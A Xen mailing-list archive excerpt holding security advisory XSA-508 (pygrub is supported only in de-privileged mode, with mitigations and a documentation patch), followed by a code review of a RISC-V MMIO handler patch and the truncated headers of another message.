Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 508 v2 - pygrub is only supported in
 de-privileged mode
Message-Id: <E1wogYw-003E18-0s@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:34 +0000
X-purgate-ID: tlsNG-ef75cf/1785240339-35CC7AE4-356D51DD/0/0
X-purgate-type: clean
X-purgate-size: 5079

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

                    Xen Security Advisory XSA-508
                              version 2

            pygrub is only supported in de-privileged mode

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

XSA-443 and XSA-497 addressed specific issues in specific file system
drivers (libfsimage) used by pygrub.  Further issues were reported, and
yet more are to be expected. XSA-443 introduced a means to run pygrub
de-privileged.  Only this mode of operation is security supported from
now on.

IMPACT
======

A guest using pygrub can escalate its privilege to that of the domain
construction tools (i.e., normally, to control of the host).

VULNERABLE SYSTEMS
==================

All Xen versions from at least 3.2 onwards are affected.  Older versions
have not been inspected.

MITIGATION
==========

XSA-443 added a mechanism to run pygrub de-privileged.  Using this mode
will mitigate the vulnerability.

Ensuring that guests do not use the pygrub bootloader will avoid this
vulnerability.

For cases where the PV guest is known to be 64bit, and uses grub2 as a
bootloader, pvgrub is a suitable alternative to pygrub.

Running only HVM or PVH guests will avoid the vulnerability.

RESOLUTION
==========

Applying the attached patch documents this issue.  Patches for XSA-443
added additional functionality to pygrub and libxl in order to run pygrub
in a restricted environment using a specific UID.  Check xl.cfg man page
for information on the bootloader_restrict option.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa508.patch           xen-unstable - Xen 4.17.x

$ sha256sum xsa508*
f1e4b6490228b7fac61fd968229f98a3dfb782d56c6729d3fe01bc34c77fbd5c  xsa508.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomsAMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZLhoH/38QGcVs3Xc3KuskdvBx57IV/vW9XjNlVYSngmdm
lKzXTZhjrecrPZvwBbhuqOBXkaFQSL17+lLVK3xRAzv2dd5hn2PqXkMj06JSwcrh
haXN/JWUDwQtmJuLfGNkQ9P1W27oMXZ3pBGhv1SsEfD0mNiyC7ZZKizU291usZbF
6JMUGNUmQ1Dyom2CiylmJGmrNrHzKdfNqURc+DoSOctpS9vbT0U0xLtKYvbVr3cj
7DuITo1/gS/3pxiUw/7E5uR7zPusBGISP1ir5rBqTkgoMf2tJkt7tfygqJtrqnkU
BaUt0ZCo7NBKg71o0AESZIdO3Ddg2QD6xrymtI0BVqa0n1E=
=9mkq
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa508.patch"
Content-Disposition: attachment; filename="xsa508.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBweWdydWI6IHNlY3VyaXR5LXN1cHBvcnRlZCBvbmx5IHdoZW4gcnVuIGRl
LXByaXZpbGVnZWQKClhTQS00NDMgYW5kIFhTQS00OTcgYWRkcmVzc2VkIHNw
ZWNpZmljIGlzc3VlcyBpbiBzcGVjaWZpYyBmaWxlIHN5c3RlbQpkcml2ZXJz
IChsaWJmc2ltYWdlKSB1c2VkIGJ5IHB5Z3J1Yi4gRnVydGhlciBpc3N1ZXMg
d2VyZSByZXBvcnRlZCwgYW5kIHlldAptb3JlIGFyZSB0byBiZSBleHBlY3Rl
ZC4gWFNBLTQ0MyBpbnRyb2R1Y2VkIGEgbWVhbnMgdG8gcnVuIHB5Z3J1YiBk
ZS0KcHJpdmlsZWdlZC4gT25seSB0aGlzIG1vZGUgb2Ygb3BlcmF0aW9uIGlz
IHNlY3VyaXR5IHN1cHBvcnRlZCBmcm9tIG5vdyBvbi4KClRoaXMgaXMgWFNB
LTUwOC4KClNpZ25lZC1vZmYtYnk6IEphbiBCZXVsaWNoIDxqYmV1bGljaEBz
dXNlLmNvbT4KUmV2aWV3ZWQtYnk6IEp1ZXJnZW4gR3Jvc3MgPGpncm9zc0Bz
dXNlLmNvbT4KCi0tLSBhL1NVUFBPUlQubWQKKysrIGIvU1VQUE9SVC5tZApA
QCAtMjg4LDYgKzI4OCwxMiBAQCBvciBpdHNlbGYgd2lsbCBub3QgYmUgcmVn
YXJkZWQgYSBzZWN1cml0CiAgICAgU3RhdHVzLCB1bnRydXN0ZWQgZHJpdmVy
IGRvbWFpbnM6IFN1cHBvcnRlZCwgbm90IHNlY3VyaXR5IHN1cHBvcnRlZAog
ICAgIFN0YXR1cywgTGl2ZXVwZGF0ZTogTm90IGZ1bmN0aW9uYWwKIAorIyMg
R3Vlc3QgYm9vdCBsb2FkZXJzCisKKyMjIyBQeWdydWIKKworICAgIFN0YXR1
czogU3VwcG9ydGVkLCBzZWN1cml0eSBzdXBwb3J0ZWQgb25seSB3aGVuIHJ1
biBkZS1wcml2aWxlZ2VkCisKICMjIFRvb2xzdGFjay8zcmQgcGFydHkKIAog
IyMjIGxpYnZpcnQgZHJpdmVyIGZvciB4bAo=

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:23:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:23:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373779.1620593 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogq2-00048E-UG; Tue, 28 Jul 2026 12:23:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373779.1620593; Tue, 28 Jul 2026 12:23:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogq2-000487-R4; Tue, 28 Jul 2026 12:23:14 +0000
Received: by outflank-mailman (input) for mailman id 1373779;
 Tue, 28 Jul 2026 12:23:14 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wogq2-00047p-Ax
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:23:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogq1-00Efa3-O6
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:23:13 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a689f2b-e002-0a2a0a5209dd-0a2a4507dee8-18
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:23:13 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a689f31-b4ea-0a2a45070019-d155802adc96-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:23:13 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-4954afac04bso43512245e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 05:23:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45b1c76sm73221075e9.6.2026.07.28.05.23.11
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 05:23:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785241393; x=1785846193; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=YJ1kRkojcYljX8eJWUBLhf43j8Cm0m2iGn5Luzxu95Y=;
        b=A/ixlPKLG/hTTfMKfCWKGk4EElgr+7ej2hAFDB+T3QrEUb9jd7kTgLDtqVa346KS8I
         he1rHqMGKfo+T93PO/mhWVrAV5CJjb2kKQ9chK/Y6Z3WetEWtpUuxOhWa55VxwRYrmz5
         pH/XIzIiorsxe9wxCIKLm2eeG6x804jTn+TnwHhOgjbCLVlmTOVnGvHcu/XCkP7x1d7+
         ePfHXoJDkV60VhVTbKtkpWr4fw7EqhZfhRLIYRCwpmSgBIsFxqXP+ENf3/mrCm6daRtw
         HSO7Y1VKUb0gG99uXbg4D3RC1spbQWHFUmsJR4D+7DHkOYUA2IQK1fGuwCtdPEnjw4DS
         wtaA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785241393; x=1785846193;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=YJ1kRkojcYljX8eJWUBLhf43j8Cm0m2iGn5Luzxu95Y=;
        b=XohQBVvYLsiqXj8N354q83jP0j/Wptm+qaidL1GRLT0d4qQXGcnBJz8+Lh0sBdB+jv
         GEQuki6C7NG4WGv5pcClNp9Pjz9ZAwFzfu1+b5Fk1ueZpuaY8j0bO1Flzzk/SMuCEXgC
         3oTwmpJWQ6OmJjErMLXX0SYEN8kVELoMe727myj1EKer221SwV9nvFS0N0rpeWh/DJHI
         wXKAMWt6xaUKckRDHuwuhAUm+dcM1Ki1Jl0/UWSDlkeqpUyLQhjT/DGHIHqyfcj8q3zO
         nfZjdrReSZXWkivUyqoz68ff1y2WnnDeKcCZQgmB0J35fuguWT4lfFzZ55j2p+NBjWpb
         VuIg==
X-Forwarded-Encrypted: i=1; AHgh+RoEav6Hu4h1qlGNxUZW+xM4h6aLjM/JOgDxhBGgFTVoT65ih0dXQz0Be1YlVimSjnqH2HZQMUyxouE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxLRj+i7a7mdOAKnAIwQO8I3uzKa9Q58rQtz10HubKXaD5ZCduu
	aRWfEnqr7aFNw1R5dIaaqVVxzS24D0HO9k7pdNpvp2r1CAqFeo1Rq/jSzj2v1TJMEQ==
X-Gm-Gg: AR+sD11BkE1IQd/wkLOdU7sdrl2qfJW4m8BqiMuo/5Juv2Eq1jxcsoUHL9hs5dKWxtO
	pNsVHqFk5ooNL+4+IoLI7I/G/kkeLQBhGY5SCK2wy8jnA0wb/f9lXY/qOJ2YR6TI97KzeVOwIcP
	+oRPrL5IP3ZkzSKQW87hnBJXFHQNWtRJLwvflRaLRAfMamsi1Dzqt829gfLgvsvSDMVXCeoNv2X
	DkhyGBsLI7C7V34RgRNsETwSjDpS+JD5uMCk/j0A410w3qu8witYObwkilPX8DgCKrl3dV44rWz
	zGVML0gsoKyDHMiO3GgcZrPbDXW82PED/l8lfaXFK/Q99dlXkp4uoGxJez17dNESeRJyYfnLtT2
	RLYZ9fR64ROepsFAPowaRdmvo04r5o97LzXbFguR3xjaJ/9qsVp+rIRtt5rQzMU4Bf3oGqj96lc
	oxvOXstfBMYh9AujA8g3eR+f3I/KAsypf9Oh58oI194/GTJOIzHWf6QTqsi2pjrd4Dm+vg7KKv6
	4sq
X-Received: by 2002:a05:600c:630d:b0:495:4572:21af with SMTP id 5b1f17b1804b1-496c65458e1mr27721695e9.9.1785241392782;
        Tue, 28 Jul 2026 05:23:12 -0700 (PDT)
Message-ID: <704870c1-18ec-4c7b-873c-e07e77ae0d39@suse.com>
Date: Tue, 28 Jul 2026 14:23:10 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 04/17] xen/riscv: introduce device-agnostic MMIO
 emulation dispatch
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <c12b69710d7b79bfc0c110f3fa043d871d8b8394.1784560663.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiT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FVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <c12b69710d7b79bfc0c110f3fa043d871d8b8394.1784560663.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785241393-A4CCFAE4-C200936B/10/73395122804
X-purgate-type: spam
X-purgate-size: 9545

On 20.07.2026 18:02, Oleksii Kurochko wrote:
> RISC-V guests can expose several virtual interrupt controllers at
> distinct GPA ranges: vPLIC (hasn't been introduced yet) for legacy machines,
> vAPLIC and vIMSIC for AIA-compliant ones (is being introduced in the follow
> up patches). Routing MMIO faults via a per-device is_access() check in the
> trap handler would couple it to every device it must serve, requiring a
> new conditional branch in the fault path each time a new emulated device is
> added.
> 
> Introduce a per-domain MMIO handler registration table, modeled
> after the equivalent ARM framework, so that virtual devices
> self-register their GPA ranges and read/write callbacks at domain
> creation time. The MMIO fault path delegates to a single
> try_handle_mmio() entry point and remains agnostic of which device
> owns a particular address.
> 
> Subsequent patches wire this into arch_domain_create() and the MMIO fault
> path in traps.c.
> 
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> Reviewed-by: Baptiste Le Duc <baptiste.le-duc@vates.tech>
> ---
> Note that find_mmio_handler() and try_handle_mmio() is handling found
> handler differently for now in comparison to Arm. But this behaviour will
> be aligned at the end. Look at discussion:
>   https://lore.kernel.org/xen-devel/cd78972e-88d5-471d-a201-5f9cd1392c73@gmail.com/T/#t
> ---
> ---
>  xen/arch/riscv/Makefile             |   1 +
>  xen/arch/riscv/domain.c             |   4 +
>  xen/arch/riscv/include/asm/domain.h |   3 +
>  xen/arch/riscv/include/asm/mmio.h   |  63 ++++++++++++
>  xen/arch/riscv/mmio.c               | 145 ++++++++++++++++++++++++++++
>  5 files changed, 216 insertions(+)
>  create mode 100644 xen/arch/riscv/include/asm/mmio.h
>  create mode 100644 xen/arch/riscv/mmio.c
> 
> diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
> index 046f73f4d87c..c452ebc3cf61 100644
> --- a/xen/arch/riscv/Makefile
> +++ b/xen/arch/riscv/Makefile
> @@ -14,6 +14,7 @@ obj-y += intc.o
>  obj-y += irq.o
>  obj-y += kernel.init.o
>  obj-y += mm.o
> +obj-y += mmio.o
>  obj-y += p2m.o
>  obj-y += paging.o
>  obj-y += pt.o
> diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
> index 4db9c28662c7..1e6f0ef66c2f 100644
> --- a/xen/arch/riscv/domain.c
> +++ b/xen/arch/riscv/domain.c
> @@ -12,6 +12,7 @@
>  #include <asm/cpufeature.h>
>  #include <asm/csr.h>
>  #include <asm/intc.h>
> +#include <asm/mmio.h>
>  #include <asm/riscv_encoding.h>
>  #include <asm/vtimer.h>
>  
> @@ -308,6 +309,9 @@ int arch_domain_create(struct domain *d,
>      if ( (rc = p2m_init(d, config)) != 0)
>          goto fail;
>  
> +    if ( (rc = domain_io_init(d, MAX_IO_HANDLER)) != 0 )
> +        goto fail;

Why does MAX_IO_HANDLER need passing into the function? Isn't that a global
boundary?

> --- /dev/null
> +++ b/xen/arch/riscv/include/asm/mmio.h
> @@ -0,0 +1,63 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +#ifndef RISCV_MMIO_H
> +#define RISCV_MMIO_H
> +
> +#include <xen/lib.h>
> +#include <xen/rwlock.h>
> +
> +#define MAX_IO_HANDLER  16
> +
> +typedef struct {
> +    paddr_t gpa;
> +    unsigned int len;  /* access width in bytes (1, 2, 4, 8) */
> +    bool is_write;
> +    register_t data;   /* store: value to write; load: value read (set by handler) */
> +} mmio_info_t;
> +
> +enum io_state
> +{
> +    IO_ABORT,       /* The IO was handled and led to an abort. */
> +    IO_HANDLED,     /* The IO was successfully handled. */
> +    IO_UNHANDLED,   /* No handler found for the IO. */
> +};
> +
> +typedef enum io_state (*mmio_read_t)(struct vcpu *v, mmio_info_t *info,
> +                                     register_t *r);
> +typedef enum io_state (*mmio_write_t)(struct vcpu *v, mmio_info_t *info,
> +                                      register_t r);

Can't info be pointer-to-const in the write case? In both cases, why is there
both "r" passed into the function as well as the info->data field, supposedly
(as per the comment) serving the same purpose?

Furthermore I think it helps if ...

> +struct mmio_handler_ops {
> +    mmio_read_t read;
> +    mmio_write_t write;

... pointer-ness is easily seen at use sites. I.e.

typedef enum io_state mmio_read_t(struct vcpu *v, mmio_info_t *info,
                                  register_t *r);
typedef enum io_state mmio_write_t(struct vcpu *v, const mmio_info_t *info,
                                   register_t r);

struct mmio_handler_ops {
    mmio_read_t *read;
    mmio_write_t *write;
};

> +};
> +
> +struct mmio_handler {
> +    paddr_t addr;
> +    paddr_t size;
> +    const struct mmio_handler_ops *ops;
> +};
> +
> +struct vmmio {
> +    unsigned int num_entries;
> +    unsigned int max_num_entries;
> +    rwlock_t lock;
> +    struct mmio_handler *handlers;

There shouldn't be any writes through this pointer, should there? In which
case it (once again) wants to be pointer-to-const.

> --- /dev/null
> +++ b/xen/arch/riscv/mmio.c
> @@ -0,0 +1,145 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +/*
> + * Copyright (C) Vates
> + */
> +
> +#include <xen/bsearch.h>
> +#include <xen/lib.h>
> +#include <xen/rwlock.h>
> +#include <xen/sched.h>
> +#include <xen/sort.h>
> +#include <xen/xvmalloc.h>
> +
> +#include <asm/current.h>
> +#include <asm/mmio.h>
> +
> +static enum io_state handle_read(const struct mmio_handler *handler,
> +                                 struct vcpu *v,
> +                                 mmio_info_t *info)
> +{
> +    register_t r = 0;
> +    enum io_state rc;
> +
> +    rc = handler->ops->read(v, info, &r);
> +    if ( rc == IO_HANDLED )
> +        info->data = r;

Extending my earlier comment: Why could ->read() not put the value directly
into info->data? And why ...

> +static enum io_state handle_write(const struct mmio_handler *handler,
> +                                  struct vcpu *v,
> +                                  mmio_info_t *info)
> +{
> +    return handler->ops->write(v, info, info->data);

... can't write take the value directly from info->data?

> +}
> +
> +/* Assumes mmio regions are not overlapping. */

Are you guaranteeing this anywhere?

> +static int cmp_mmio_handler(const void *key, const void *elem)
> +{
> +    const struct mmio_handler *handler0 = key;
> +    const struct mmio_handler *handler1 = elem;
> +
> +    if ( handler0->addr < handler1->addr )
> +        return -1;
> +
> +    if ( handler0->addr >= (handler1->addr + handler1->size) )
> +        return 1;
> +
> +    return 0;
> +}
> +
> +static void swap_mmio_handler(void *a, void *b)
> +{
> +    struct mmio_handler *t1 = a, *t2 = b;
> +
> +    SWAP(*t1, *t2);
> +}
> +
> +/*
> + * Return a copy of the matching handler rather than a pointer into
> + * vmmio->handlers: a concurrent register_mmio_handler() re-sorts the
> + * array, so an escaped pointer could refer to a different (or torn)
> + * entry once the lock is dropped.  The copy stays valid as the ops
> + * structures are never freed.
> + */
> +static bool find_mmio_handler(struct domain *d, paddr_t gpa,
> +                              struct mmio_handler *out)
> +{
> +    struct vmmio *vmmio = &d->arch.vmmio;
> +    struct mmio_handler key = { .addr = gpa };
> +    const struct mmio_handler *handler;
> +
> +    read_lock(&vmmio->lock);
> +    handler = bsearch(&key, vmmio->handlers, vmmio->num_entries,
> +                      sizeof(*handler), cmp_mmio_handler);

So beyond the assumption stated further up you also assume the array to
be sorted. Which you ...

> +void register_mmio_handler(struct domain *d,
> +                           const struct mmio_handler_ops *ops,
> +                           paddr_t addr, paddr_t size)
> +{
> +    struct vmmio *vmmio = &d->arch.vmmio;
> +    struct mmio_handler *handler;
> +
> +    write_lock(&vmmio->lock);
> +
> +    BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);

(Do we really need to crash in such a case? Can't we just fail domain
creation?)

> +    handler = &vmmio->handlers[vmmio->num_entries];
> +    handler->ops = ops;
> +    handler->addr = addr;
> +    handler->size = size;
> +    vmmio->num_entries++;
> +
> +    /* Sort mmio handlers in ascending order based on base address */
> +    sort(vmmio->handlers, vmmio->num_entries, sizeof(struct mmio_handler),
> +         cmp_mmio_handler, swap_mmio_handler);

... arrange for here, yet in a pretty inefficient way: Inserting in an
already sorted list can be had without recurring calls to sort().

> +int domain_io_init(struct domain *d, unsigned int max_count)
> +{
> +    rwlock_init(&d->arch.vmmio.lock);
> +    d->arch.vmmio.num_entries = 0;
> +    d->arch.vmmio.max_num_entries = max_count;
> +    d->arch.vmmio.handlers = xvzalloc_array(struct mmio_handler, max_count);

If already an allocation is needed in all cases, why not allocate struct
vmmio, defined like this:

struct vmmio {
    unsigned int num_entries;
    unsigned int max_num_entries;
    rwlock_t lock;
    struct mmio_handler handlers[];
};

and then using xvzalloc_flex_struct(). Or yet simpler if (as mentioned
elsewhere) max_count doesn't need passing into here:

struct vmmio {
    unsigned int num_entries;
    unsigned int max_num_entries;
    rwlock_t lock;
    struct mmio_handler handlers[MAX_IO_HANDLER];
};

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:31:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:31:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373884.1620802 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogyF-0007mB-NK; Tue, 28 Jul 2026 12:31:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373884.1620802; Tue, 28 Jul 2026 12:31:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogyF-0007m4-Jx; Tue, 28 Jul 2026 12:31:43 +0000
Received: by outflank-mailman (input) for mailman id 1373884;
 Tue, 28 Jul 2026 12:31:41 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wogyD-0007lZ-PD
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:31:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogyC-00EhVK-VP
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:31:40 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a68a126-bab6-0a2a0a5309dd-0a2a45088d06-20
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:31:40 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a68a12c-f659-0a2a45080019-d1558033ad9f-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:31:40 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-49558ce01afso28573735e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 05:31:40 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bfc2ff2sm275005885e9.4.2026.07.28.05.31.39
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 28 Jul 2026 05:31:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1785241900; x=1785846700; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=YDIpI4MXR6JW9/lyk1jFX9uCfLWAYMMczk+RuMgqE3w=;
        b=MpLr/pZCKASrUT0I4pUk/Le606mrgvnqol9tRmjXSe6mnNveZrGmIH+r9mDBq4cn14
         Ls0k3AfGdci3Vo/xNCyh2bIweiamPXw0ACz0jnGf/XC598UOohdftdX2yBX+e/itRWJ6
         nKpXzMJQxbBwjlmKu+IygxrfqYoclZdOJCGnU=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785241900; x=1785846700;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=YDIpI4MXR6JW9/lyk1jFX9uCfLWAYMMczk+RuMgqE3w=;
        b=h0bt62juMcssRnH0eADSmlMYlpmq1+teS+tGuVH32GA8NMKw/GF8L2+iWYvmOoQQ1w
